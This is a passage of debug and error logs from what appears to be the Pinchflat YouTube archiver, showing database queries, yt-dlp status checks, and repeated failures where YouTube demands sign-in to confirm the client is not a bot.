s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:26.405 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lGuRjA8enRc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0e/89/0e8935036f9c7a2c58c0b8288ad130956dce02dc9a54247af329bf9ad3d43d52.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:26.890 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=znw_6AMFMDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a6/02/a6028064c5e51044e2f447e1a92f75ddee3aee65cd3cd80afd90120012718644.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] znw_6AMFMDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:26.890 [error] yt-dlp download error for media item #16: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] znw_6AMFMDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:26.890 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] znw_6AMFMDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:26.892 [info] {"args":{"id":16},"id":214,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2035007,"event":"job:stop","attempt":1,"queue_time":13855084,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:26.895 [debug] QUERY OK source="tasks" db=1.2ms idle=489.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:26.896 [debug] QUERY OK source="media_items" db=0.5ms queue=0.3ms idle=490.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [17] 20:31:26.900 [info] {"args":{"id":18},"id":216,"meta":{},"system_time":1774150286899886942,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:26.901 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=77.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [18] 20:31:26.901 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:26.902 [debug] QUERY OK source="sources" db=0.6ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:26.903 [debug] QUERY OK source="tasks" db=0.7ms idle=7.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:26.904 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.6ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:26.904 [debug] QUERY OK source="media_items" db=1.3ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [17, 18] 20:31:26.908 [debug] QUERY OK source="media_items" db=3.5ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18] 20:31:26.910 [debug] QUERY OK source="media_metadata" db=0.4ms idle=7.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [18] 20:31:26.911 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:26.912 [debug] QUERY OK source="settings" db=0.8ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:26.913 [debug] QUERY OK source="settings" db=0.8ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:26.914 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:26.915 [debug] QUERY OK source="settings" db=0.2ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:26.916 [debug] QUERY OK source="settings" db=0.7ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:26.917 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:26.917 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GGqM_gNMPjE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/96/8b/968b0623de26eb3e96a4b08ad45199872f6c7727752472a5ebcc954f857c0e1a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:28.388 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lGuRjA8enRc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0e/89/0e8935036f9c7a2c58c0b8288ad130956dce02dc9a54247af329bf9ad3d43d52.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] lGuRjA8enRc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:28.389 [error] yt-dlp download error for media item #17: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] lGuRjA8enRc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:28.389 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] lGuRjA8enRc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:28.391 [info] {"args":{"id":17},"id":215,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1994970,"event":"job:stop","attempt":1,"queue_time":15394124,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:28.393 [debug] QUERY OK source="tasks" db=0.9ms idle=1476.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:28.394 [debug] QUERY OK source="media_items" db=0.8ms idle=1476.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [18] 20:31:28.398 [info] {"args":{"id":19},"id":217,"meta":{},"system_time":1774150288398755367,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:28.399 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=573.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [19] 20:31:28.399 [debug] QUERY OK source="tasks" db=0.3ms queue=0.2ms idle=7.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:28.401 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:28.402 [debug] QUERY OK source="media_items" db=2.1ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [18, 19] 20:31:28.402 [debug] QUERY OK source="sources" db=1.2ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:28.403 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:28.404 [debug] QUERY OK source="media_items" db=0.5ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [19] 20:31:28.405 [debug] QUERY OK source="media_metadata" db=0.1ms idle=5.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [19] 20:31:28.405 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:28.406 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:28.406 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:28.407 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:28.408 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:28.408 [debug] QUERY OK source="settings" db=0.4ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:28.409 [debug] QUERY OK source="settings" db=0.3ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:28.409 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zJqhL2L2GM0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9a/51/9a514407fb45bf8e1f6f6bf7a54a61b86a892532ce5b3e7e87e128bdae83253f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:28.606 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GGqM_gNMPjE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/96/8b/968b0623de26eb3e96a4b08ad45199872f6c7727752472a5ebcc954f857c0e1a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] GGqM_gNMPjE: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:28.606 [error] yt-dlp download error for media item #18: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] GGqM_gNMPjE: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:28.606 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] GGqM_gNMPjE: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:28.609 [info] {"args":{"id":18},"id":216,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1706505,"event":"job:stop","attempt":1,"queue_time":15899095,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:28.611 [debug] QUERY OK source="tasks" db=1.6ms idle=202.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:28.612 [debug] QUERY OK source="media_items" db=1.0ms idle=203.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [19] 20:31:28.616 [info] {"args":{"id":20},"id":218,"meta":{},"system_time":1774150288616550202,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:28.617 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=207.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20] 20:31:28.618 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:28.620 [debug] QUERY OK source="tasks" db=3.4ms idle=7.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:28.621 [debug] QUERY OK source="sources" db=1.2ms queue=0.9ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", 